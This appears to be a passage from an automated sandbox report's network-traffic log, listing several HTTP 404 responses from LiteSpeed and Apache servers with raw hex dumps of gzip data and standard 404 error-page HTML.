71 65 5f ef c9 78 f0 32 bb 2e 3f 5f 36 41 9c 69 6e 3d e7 95 08 8c 1a 11 93 d1 1b 81 57 44 7c 6e c5 af 71 ed 23 45 fd 82 18 eb f8 46 37 df 3d 2d 4c 2f 31 fb 83 98 17 87 65 75 7f 49 2b bd c1 a7 ee 20 ab ab 32 04 01 a1 ff 78 23 bf 57 e4 2b 75 37 c1 f8 bb 79 5d cd bf 71 0b 68 8a c3 1b b2 bc 38 eb fd ab 8f 8c ef 31 5c 34 6d c6 a1 0f 94 6c 83 1b 82 5b bc ad bf 81 fc 7a e3 37 2f 46 ff 11 a6 4b c2 05 39 ea b3 18 d6 07 82 fb 30 31 fd 5b 35 7e 67 ea d3 d8 7b 39 da df 72 40 82 ba e5 af cf b9 ed 4b 7e b4 b2 d8 79 e3 a2 97 e3 35 97 3f ca a0 cd 0a e7 de 02 36 12 81 1c d5 ff b9 37 e3 f8 3d 80 5f e2 0a 24 75 60 dc 03 20 2b 90 25 6e 43 c2 e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Wed, 20 Nov 2024 07:33:29 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 31 33 34 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 3a e9 72 e2 5a 7a ff ef 53 10 a7 92 cc 94 da ad 15 90 3c 76 cf 68 43 12 20 21 09 04 88 54 ea 96 d0 8e 56 b4 c3 54 1e 28 af 91 27 cb 11 b6 db 98 b6 6f f7 a4 f2 23 a7 7f 18 9d e5 db 97 d3 df 77 7e fb ed b7 c7 7f e2 16 ec ca 54 f9 41 50 25 f1 b7 df 1e 9f ff 0c c0 78 0c 5c cb f9 f6 db e5 67 e2 56 16 d8 51 e5 f7 ee b1 0e 9b a7 3b 36 4b 2b 37 ad ee ab 53 ee de 0d ec e7 af a7 bb ca ed 2a b8 07 f1 97 81 1d 58 45 e9 56 4f 75 e5 dd 93 77 9f c2 b1 ec c0 bd ef cf 17 59 7c 05 28 cd ee ed 7e e9 d3 83 6a 61 f9 89 f5 8f 9c e0 bb 3c 2c dc f2 ea 08 f2 0e 7a 6a 25 ee d3 5d 13 ba 6d 9e 15 d5 d5 b6 36 74 aa e0 c9 71 9b d0 76 ef 2f 1f 5f 06 61 1a 56 a1 15 df 97 b6 15 bb 4f e8 d7 ef a0 aa b0 8a dd 6f 04 42 0c 94 ac 1a 4c b2 3a 75 1e e1 e7 c9 67 51 96 d5 29 76 07 bd dc 5e c4 65 97 e5 0b 1d bd a8 f7 99 73 1a fc fd b2 b5 ff ec 87 07 a4 73 ef 59 49 18 9f 1e 06 74 01 d0 7e 19 88 6e dc b8 55 68 5b 5f 06 a5 95 96 f7 a5 5b 84 de 5f 7e 3c 56 86 67 f7 61 80 12 79 f7 7e 31 0e 53 f7 3e 70 43 3f a8 c0 f2 57 02 23 87 63 94 c0 a8 f7 bb f6 96 1d f9 45 cf 03 50 51 9c 15 0f 83 7f f6 2e e3 fd b6 d7 35 6c 82 63 38 f2 7e 2d b7 1c 27 4c fd 87 c1 cd 7c 62 15 7e 98 be 9b fe cf ef e4 97 ae 5d 85 59 fa 05 b0 9e 55 6e 71 23 0f 27 2c f3 d8 02 b2 d8 c7 99 1d fd 1f a0 fb da db 9f 05 24 72 8b e9 99 c8 fb d8 f5 80 94 ac ba ca de 23 7b 59 2e 9e a5 f8 e3 fa 1b ef 03 14 b9 d6 c0 1b a7 5f 81 45 e6 59 5a ba f7 61 ea 65 37 8c be ca 95 bd 8c 37 dc 57 c7 cb ca aa ea 12 68 c7 71 6f 0e 5f ac e6 59 fd 43 04 f9 97 3f 3a 5d b8 56 99 a5 9f 9f c7 86 d7 e7 7b 93 fc 4c 05 57 94 5d 64 6a 57 17 be be 7c d7 2c e0 b7 c7 75 df 07 8a 1b 84 af dc 22 97 f1 21 bd bd 2d f5 86 01 1c ef 03 71 5d 59 6b e1 e6 ae 05 74 06 c2 c8 f3 cf 37 70 3d f9 57 3b 5f b1 62 14 4e 13 f4 fb 6d af 6b 93 cb 78 5b bb e2 f2 96 22 eb 13 a6 7e 1d c4 7d 58 b9 49 79 03 e6 bb 25 61 c0 8e 7e 70 a5 30 7d 73 65 0a ff c4 d0 ae f5 71 03 fd c5 8e f7 59 55 65 c9 c3 a0 c7 f1 c6 6c 2f af 2b 5b 42 47 d7 8b 57 92 78 07 ff 56 0c bd ba ef 1d d7 ce 0a ab d7 df c3 00 84 14 b7 e8 83 d0 7b 44 af 12 07 f1 88 61 af b4 f1 29 9e 87 20 6b dc e2 ca be de 93 f1 e0 65 76 5d 7e be 6c 81 38 d3 dc 7a ce 2b 11 18 3d 22 a8 d1 1b 81 57 44 7c 6e c5 af 71 ed 23 45 fd 82 18 eb f8 46 37 df 3d 2d 4c 2f 31 fb 83 98 17 87 65 75 7f 49 2b bd c1 a7 ee 20 ab ab 32 04 01 a1 ff 78 23 bf 57 e4 2b 75 37 c1 f8 bb 79 5d cd bf 71 0b 68 8a c3 1b b2 bc 38 eb fd ab 8f 8c ef 31 5c 34 6d c5 a1 0f 94 6c 83 1b 82 5b bc ad bf 81 fc 7a e3 37 2f 46 ff 11 a6 4b c2 05 39 ea b3 18 d6 07 82 fb 30 b1 fc 5b 35 7e 67 ea d3 d8 7b 39 da df 72 40 82 ba e5 af cf b9 ed 4b 7e dc 67 b1 f3 c6 45 2f c7 6b 2e 7f 94 41 9b 15 ce fd 1e d8 48 04 72 54 ff e7 de 8a e3 f7 00 7e 89 2b 90 d4 81 71 0f 80 ac 40 96 b8 0d 09 9
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Wed, 20 Nov 2024 07:33:31 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 31 33 34 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 3a e9 72 e2 5a 7a ff ef 53 10 a7 92 cc 94 da ad 15 10 1e bb 67 b4 21 09 90 90 04 02 44 2a 75 4b bb 84 56 b4 c3 54 1e 28 af 91 27 cb 11 b6 db 98 b6 6f f7 a4 f2 23 a7 7f 18 9d e5 db 97 d3 df 77 7e fb ed b7 c7 7f 62 97 cc da 50 b8 41 50 25 f1 b7 df 1e 9f ff 0c c0 78 0c 5c d3 f9 f6 db e5 67 e2 56 26 d8 51 e5 f7 ee b1 0e 9b a7 3b 26 4b 2b 37 ad ee ab 53 ee de 0d ec e7 af a7 bb ca ed 2a b8 07 f1 97 81 1d 98 45 e9 56 4f 75 e5 dd 93 77 9f c2 31 ed c0 bd ef cf 17 59 7c 05 28 cd ee ed 7e e9 d3 83 4a 61 fa 89 f9 8f 9c e0 ba 3c 2c dc f2 ea 08 f2 0e 7a 6a 26 ee d3 5d 13 ba 6d 9e 15 d5 d5 b6 36 74 aa e0 c9 71 9b d0 76 ef 2f 1f 5f 06 61 1a 56 a1 19 df 97 b6 19 bb 4f e8 d7 ef a0 aa b0 8a dd 6f 04 42 0c e4 ac 1a 4c b3 3a 75 1e e1 e7 c9 67 51 96 d5 29 76 07 bd dc 5e c4 65 97 e5 0b 1d bd a8 ad cc 39 0d fe 7e d9 da 7f f6 c3 03 d2 b9 f7 cc 24 8c 4f 0f 03 aa 00 68 bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 1e 2b c3 b3 fb 30 40 89 bc 7b bf 18 87 a9 7b 1f b8 a1 1f 54 60 f9 2b 81 91 c3 31 4a 60 93 f7 bb 2c d3 8e fc a2 e7 01 a8 28 ce 8a 87 c1 3f 7b 97 f1 7e db eb 1a 36 c5 31 1c 79 bf 96 9b 8e 13 a6 fe c3 e0 66 3e 31 0b 3f 4c df 4d ff e7 77 f2 4b d7 ae c2 2c fd 02 58 cf 2a b7 b8 91 87 13 96 79 6c 02 59 58 71 66 47 ff 07 e8 be f6 f6 67 02 89 dc 62 7a 26 f2 3e 76 3d 20 25 b3 ae b2 f7 c8 5e 96 8b 67 29 fe b8 fe c6 fb 00 45 ae 35 f0 c6 e9 57 60 91 79 96 96 ee 7d 98 7a d9 0d a3 af 72 65 2e e3 0d f7 d5 f1 b2 32 ab ba 04 da 71 dc 9b c3 17 ab 79 56 ff 10 41 fe e5 8f 4e 17 ae 59 66 e9 e7 e7 b1 e1 f5 f9 de 24 3f 53 c1 15 65 17 99 da d5 85 af 2f df 35 0b f8 ed 71 dd f7 81 e2 06 e1 2b b7 c8 65 7c 48 6f 6f 4b bd 61 00 c7 fb 40 5c 57 d6 5a b8 b9 6b 02 9d 81 30 f2 fc f3 0d 5c 4f fe d5 ce 57 ac d8 04 a7 08 ea fd b6 d7 b5 e9 65 bc ad 5d 71 79 4b 91 f9 09 53 bf 0e e2 3e ac dc a4 bc 01 f3 dd 92 30 60 47 3f b8 52 98 be b9 f2 04 ff c4 d0 ae f5 71 03 fd c5 8e ad ac aa b2 e4 61 d0 e3 78 63 b6 97 d7 95 2d a1 a3 eb c5 2b 49 bc 83 7f 2b 86 5e dd f7 8e 6b 67 85 d9 eb ef 61 00 42 8a 5b f4 41 e8 3d a2 57 89 83 78 44 33 57 da f8 14 cf 43 90 35 6e 71 65 5f ef c9 78 f0 32 bb 2e 3f 5f 36 41 9c 69 6e 3d e7 95 08 8c 1a 11 93 d1 1b 81 57 44 7c 6e c5 af 71 ed 23 45 fd 82 18 eb f8 46 37 df 3d 2d 4c 2f 31 fb 83 98 17 87 65 75 7f 49 2b bd c1 a7 ee 20 ab ab 32 04 01 a1 ff 78 23 bf 57 e4 2b 75 37 c1 f8 bb 79 5d cd bf 71 0b 68 8a c3 1b b2 bc 38 eb fd ab 8f 8c ef 31 5c 34 6d c6 a1 0f 94 6c 83 1b 82 5b bc ad bf 81 fc 7a e3 37 2f 46 ff 11 a6 4b c2 05 39 ea b3 18 d6 07 82 fb 30 31 fd 5b 35 7e 67 ea d3 d8 7b 39 da df 72 40 82 ba e5 af cf b9 ed 4b 7e b4 b2 d8 79 e3 a2 97 e3 35 97 3f ca a0 cd 0a e7 de 02 36 12 81 1c d5 ff b9 37 e3 f8 3d 80 5f e2 0a 24 75 60 dc 03 20 2b 90 25 6e 43 c2 e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkeddate: Wed, 20 Nov 2024 07:33:34 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 32 37 37 35 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 07:33:39 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 07:33:42 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 07:33:44 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36 30 39 36 22 3e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 07:33:47 GMTServer: ApacheContent-Length: 16052Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 